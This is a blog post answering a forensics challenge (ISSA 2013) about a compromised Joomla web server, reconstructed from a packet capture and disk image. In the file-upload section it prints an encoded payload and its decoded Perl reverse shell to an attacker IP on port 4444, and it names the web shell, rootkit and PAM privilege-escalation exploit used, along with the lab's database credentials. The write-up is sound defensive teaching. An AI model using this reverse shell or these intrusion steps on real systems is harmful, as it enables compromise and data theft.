DFIR Challenge – ISSA 2013 – My Answers

Jack Crook has posted a new DFIR challenge a few days ago. Let’s have a look at the challenge and also to my answers.

Obviously if you want to enjoy the challenge then don’t read this article, go on the challenge page, download what’s necessary and go have some fun first!

It’s important to mention that the below answers are my own and therefore might not be correct or complete and maybe you have a better, simpler or more efficient way to do this challenge. If so please share your views and/or advise by adding a comment or feel free to contact me via Twitter.

What we know

Looking at the instructions we don’t know a lot. It’s basically a linux server that has been compromised. Reading the questions you’ll find out more details and in particular it seems there was a web server involved and some files might have been taken.

The evidences we have are a pcap file and a dd image of the server.

There might be some overlap in the questions, I have therefore group them as I deemed appropriate.

Questions 1, 2 and 3

The beginning of the pcap file contains some ARP and ICMP traffic. The first HTTP packet is actually a HEAD request coming from the IP 58.64.132.100 going to 172.16.150.20. Looking in more details at this packet (e.g. using the “Follow TCP Stream” in Wireshark), we can find a timestamp: Fri, 08 Feb 2013 22:47:07 GMT

Note that this is the date of the first packet and I make the assumption that this is the start of the attack. Why? Simply because if you look at the “User-Agent” of the packet, you will find that the packet has been generated by Nikto which is known tool to perform web server scanning. Looking at the rest of the pcap will show a lot of packets coming from the same IP with the same “User-Agent” thus confirming that this is the start of the attack. It is also worth mentioning that there is significant amount of requests that return a 404 error (not found). This is a good indicator that someone is scanning a web server.

ISSA2013-Challenge-001

So to summarise the first three questions:

  • Question 1 – What time did the attack begin?
    Fri, 08 Feb 2013 22:47:07 GMT
  • Question 2 – What was the initial indicator?
    Many requests return a 404 and have a user-agent string that includes a known web server scanning tool
  • Question 3 – What tool was used to scan the web server?
    Nikto 2.1.5 (based on User-Agent string)

Questions 4, 5 and 6

Looking at the pcap and in particular the response from the web server we can find some useful information in the header and in the content of the response.

ISSA2013-Challenge-002

So the info about the server are not required but it will give you a quick confirmation that the server a Linux box (Ubuntu) and running Apache 2.2.12 and PHP 5.2.10. On the web app side, the content of the index page include information about Joomla and in particular Joomla 1.5.

Using some of the feature of Wireshark we can also have some high level stats about the pcap:

ISSA2013-Challenge-003

Answer to questions 4, 5 and 6 are:

  • Question 4 – What application was exploited to compromise the webserver?
    Joomla 1.5
  • Question 5 – What was the IP address of the attacker that compromised the web server?
    58.64.132.100 is the main attacker (e.g. you will need to see the next questions to get full confirmation that’s this is the IP that has compromised the web server)
  • Question 6 – Were there any additional ip addresses used in the attack? If so, what are they?
    Using the conversation feature of Wireshark we have identified one more IP 58.64.132.141 (e.g. the others IPs look like internal IPs used by Jack to build the challenge)

Questions 7, 8 and 9

Those questions are related to what has been initially uploaded on the web server. Most of the time (e.g. but there are exceptions) file upload will be attempted when compromising a web server. Without this ability it might be difficult for the attacker to obtain “full” access to a web server. Also file upload means POST request, so let’s have a look at what we have in the pcap.

Using Wireshark filter:

http.request.method == POST

we can filter on the POST requests. It gave us 40 packets. Looking for more details, we can exclude the first 13 packets. They are all coming from Nikto and have a 404 as a response.

Things start to look interesting from packet 23033. Looking at the packet details:

First upload request

Looking at the header of the POST request we can see that the request is actually for the following URL:

/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/images/stories/&type=file&feid=&obfuscate=3bc6aeeecd3d028411bb8a479e93c359&sessidpass=

Then looking at the content of the request you can find the filename:

ogfcmxaiaexofkdozkvz.php

So it seems that we have a way to upload some data using the upload feature of the tiny_mce plugin. Is this a known vulnerability? A quick search give you an answer: yes! It’s actually OSVDB 64578 and we have a metasploit module for that as well.

All this allow us to get the answers for questions 7, 8 and 9:

  • Question 7 – What file was initially placed on the machine by the attacker?
    What seems to be a PHP script named: ogfcmxaiaexofkdozkvz.php
  • Question 8 – What directory was it located in?
    The file has been uploaded in the folder /images/stories/ (e.g. this can be confusing but if you look at the POST request you’ll find a folder parameter with this value)
  • Question 9 – What allowed the upload of that file?
    A known vulnerability in Joomla 1.5.12 that allow file upload and/or removed without a need to be logging with a valid account (see OSVDB 64578 )

Quick addition, even though this is not one of the question it might be interested to know what this uploaded file do. You can export the content of the file via the pcap or use the dd image to get it. Looking at the content, we have a few variable with strange names, nothing really “readable”. However there is one line that is more interesting:

$c = base64_decode('cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCI1OC42NC4xMzIuMTAwOjQ0NDQiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn');

Using a base64 decoder online or three lines of python:

Python 2.7.2 (default, Oct 11 2012, 20:14:37) 
[GCC 4.2.1 Compatible Apple Clang 4.0 (tags/Apple/clang-418.0.60)] on darwin Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> suspicious_string = 'cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCI1OC42NC4xMzIuMTAwOjQ0NDQiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn' 
>>> base64.b64decode(suspicious_string)
'perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"58.64.132.100:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\''
>>>

Bingo! This base64 encoded line of code is opening a perl shell on port 4444 to our attacker IP. Probably useful information for the rest of the analysis.

Questions 10, 11, 12 and 13:

This batch of four questions are related to the first operating systems commands and how privilege escalation has been attempted.

We want to know what was the first operating system command launched by the attacker. Once an attacker has been able to get a foothold on a system, he/she will need to know a little bit more about the system, the files, folder path, etc. So there is a pretty good chance that commands such as ls, pwd, uname, ifconfig, hostname, whoami, id, etc. are executed.

So to get back to our case, we know that a file has been uploaded, that this file actually open a perl based shell on port 4444. Pretty good chance that’s where the operating system commands will come from. So let’s see what was sent/received on this port 4444:

Using Wireshark filter:

tcp.dstport == 4444

and the “Follow TCP Stream” you get the following:

First operating system commandWell seems that a “ls” command has been run first followed by a few others.

If you look further down the list of operating system command you will see that the attacker download a file named timeserver.bash using the “wget” command. This file is then executed against the /etc/passwd file.

If you look at the command output you can see the following:

\[email protected]@@ File before tampering ...\n
-rw-r--r-- 1 root root 1020 Feb 7 20:56 /etc/passwd
\[email protected]@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :) File will then be owned by your user. Try /etc/passwd...\n

The description definitely indicate something going around the PAM module. Searching on Google, you can quickly find some reference to this particular file. The vulnerability is CVE-2010-0832, not to mention the exploit-db page (which has the exact same wording…I guess this is where the file is coming from). This is our privelege escalation attempt.

But for such exploit to work the attacker need to have the right version of the PAM module installed. Looking at the CVE description you must have libpam-modules before 1.1.0-2ubuntu1.1 in PAM on Ubuntu 9.10 and libpam-modules before 1.1.1-2ubuntu5 in PAM on Ubuntu 10.04 LTS. Looking at the dd image, you can get the following:

OS and libpam version

Guess that should work then!

Looking at the pcap, you can get the timestamp of when the privilege escalation occurs

Privilege escalation timestamp

Converted to UTC this will be Feb 8, 2013 23:37:50 UTC

Note: there is a first unsuccessful attempt at 23:37:05. If you look at the commands output you can see that the attacker has to chmod the file first before executing it.

So to summarise for this set of questions:

  • Question 10 – What was the first operating system command executed by the attacker?
    The first command was “ls”
  • Question 11 – How did the attacker attempt to escalate privileges?
    Using a downloaded script named timeserver.bash. This script exploit a known vulnerability in the PAM module of Ubuntu 9.10 and 10.04 (CVE reference above)
  • Question 12 – What was the timestamp that privilege escalation was attempted?
    Feb 8, 2013 23:37:50 UTC
  • Question 13 – Is the machine still at risk for this method of privilege escalation? Why?
    Obviously the machine has not been patched so yes still at risk.

Questions 14, 15 and 16

This set of questions is related to what has been uploaded on the server in particular which files and which tool(s).

A few options here, we have already observed that the attacker has used the “wget” command to download the privilege escalation script. So there might be a good chance there is additional usage of this command. One other way will be to use the dd image and see the files that have been modified recently (e.g. there is no creation date in Linux…until the EXT4 filesystem).

So first let’s see the “wget” command, let’s use the same packet as previously and check the output of the other commands executed:

Files downloaded

So we can see that one new file has been downloaded (webstats.txt) and then copied in the same folder but with a new extension (webstats.php). So overall we have 3 downloaded files and one copied, for a total of four files.

Let’s have a look on the dd image now. We can use the following command to list the files with the most recent timestamp:

find /etc -type f -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort -r

From which the output (e.g. the output is very long…the below screenshot is just the beginning).

Recently modified filesSo we got a few normal files such as the Apache log, syslog, auth log. The next files three files are unknown until now: “linux-rootkit.tar.gz” (in folder “var/tmp/.www” – note the . in front of www that will hide the folder) and two sql dump. Then we got our webstats.php, passed (if you look at the output of the commands in the pcap you will that this particular file has been copied there) and the initial file.

So which one has been downloaded? I’m going to make some assumptions here. The two sql dump file are most probably downloaded (e.g. information leakage) rather than uploaded. The others files are known from previous questions.

So if the first files are coming from “wget” commands, where is the linux-rootkit coming from? Looking at the pcap you can see it has been uploaded via the webstats.php file.

rootkit upload

So it seems that this webstats.php file is actually able to upload a file…looking at this file on dd image…you can see that it is fully encoded in base64. Use the same python lines as before and you’ll discover that this file is actually a well known php shell named c999shell.

c999shell

Searching the web, will give you more information about this “full feature” shell.

So we have all what we need to answer those questions:

  • Question 14 – What files were place on the webserver by the attacker?
    • ogfcmxaiaexofkdozkvz.php
    • timeserver.bash
    • webstats.txt
    • webstats.php
    • linux-rootkit.tar.gz
  • Question 15 – How was the attack able to place each file on the machine
    • ogfcmxaiaexofkdozkvz.php – via Joomla tiny_mce plugin vulnerability
    • timeserver.bash – “wget” via perl shell
    • webstats.txt – “wget “via perl shell
    • webstats.php – copy from webstats.txt and renamed with a .php extension using the perl shell
    • linux-rootkit.tar.gz – uploaded via the webstats.ph shell
  • Question 16 – What additional tool was placed on the machine that gave the attacker direct access?
    A full feature shell (c999shell).
  • Question 17 – How did the attacker access this tool?
    Using a browser and accessing them via the appropriate URL

Questions 18 and 19

The two files that have been taken are the two sql dump identified earlier. No big deal here 😉 Note that those two files have been generated via the full feature shell.

  • Question 18 – What did the attacker take from the web server?
    • dump_172.16.150.20_Joomla_08-02-2013-18-46-37.sql
    • dump_172.16.150.20_mysql_08-02-2013-18-47-33.sql
  • Question 19 – What are the md5 hashes of all the files taken?
    • 6b9caaac96c3e3f34d09a8288dba874a dump_172.16.150.20_Joomla_08-02-2013-18-46-37.sql
    • c38154a80b3ab96272d576b550d5cd63 dump_172.16.150.20_mysql_08-02-2013-18-47-33.sql

Questions 20, 21 and 22

So we have already identified that an additional file, linux_rootkit.tar.gz, has been uploaded. When we looked at this file, we have noticed that it is stored in /var/tmp/.www

Looking at the pcap file you can identify that this folder has been created via the c999shell:

Folder creation

The content of this newly created folder can be determined either in the pcap file or via the dd image. Using some of the Wireshark feature you can actually reconstruct the shell webpage (e.g. response from the shell is gzip so it will appears scramble in Wireshark but that can be decoded easily):

Rootkit folderSo we have three files:

  • security.ko
  • kontrol
  • kontrol.c

One is source code (kontrol.c). Looking into it and you got some comments and instructions in what appears to be turkish (e.g. I don’t speak turkish but that the language Google Translate identified). It seems you need to enter the appropriate password (Anahtar = key) to be able to execute the rootkit. If you look at the pcap carefully you will see that the attacker doesn’t seems to know that and therefore I guess that the rootkit has not been executed.

  • Question 20 – What directory was created by the attacker?
    A folder named .www has been created in /var/tmp/
  • Question 21 – What are the contents of this directory?
    • linux-rootkit.tar.gz
    • linux-rootkit/
    • linux-rootkit/kontrol
    • linux-rootkit/kontrol.c
    • linux-rootkit/kontrol.ko
  • Question 22 – Was the attacker able to successfully execute the tool in this directory? How do you know?
    No the tool was not run successfully, the attacker is missing the password to execute it correctly (e.g. password which is documented in the source code file named kontrol.c)

Questions 23 and 24

The first question is relate to an netstat command. Using the pcap you can identify when it has been executed and extract the c999shell page:

netstat

The second question is related to the database password. Well this is an easy one, all those CMS application have a configuration file that contain a database user and a password. In the case of Joomla this is located in the configuration.php file. The attacker, still using the c999shell, get the content of the file and the username and password:

Joomla config fileThere is a few ways to know the password, you can either look at the pcap or read the configuration.php file from the dd image.

Database credentials

  • Question 23 – What was the exact netstat command that was executed at Fri Feb 8 2013 18:53:37? What ports were listening based on the output from that command?
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 172.16.150.20:80 58.64.132.141:1070 ESTABLISHED -
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 2390 - @/com/ubuntu/upstart
unix 2 [ ] DGRAM 2447 - @/org/kernel/udev/udevd
unix 5 [ ] DGRAM 3473 - /dev/log
unix 2 [ ACC ] STREAM LISTENING 3790 - /var/run/mysqld/mysqld.sock
unix 2 [ ] DGRAM 5354 -
unix 2 [ ] DGRAM 3783 -
unix 2 [ ] DGRAM 3615 -
unix 3 [ ] DGRAM 2479 -
unix 3 [ ] DGRAM 2478 -
unix 3 [ ] STREAM CONNECTED 2444 - @/com/ubuntu/upstart
unix 3 [ ] STREAM CONNECTED 2441 -
  • Question 24 – How was the attacker able to gain access to the database credentials?
    Via the configuration.php file from Joomla. The credentials are as follow:

    • username: root
    • password: mar1ners

Question 25: List the points of remediation that need to occur as a result of the analysis performed:

  • Patch management is missing or not effective:
    • Missing Joomla patch
    • Missing operating system patch
  • Install and/or enable only necessary module in Joomla. It’s not because you are not using them that an attacker can not use them
  • Cross check files and folders permission on the Apache webserver. Follow recommendation from Apache and from Joomla.
  • Create a dedicated mysql user for Joomla and restrict its access to the Joomla database only. You should never run such database with the root account.
  • Change all password on the system (OS and apps)
  • Install a prevention mechanism (e.g. web firewall for example).

 

0 comments

Leave a Reply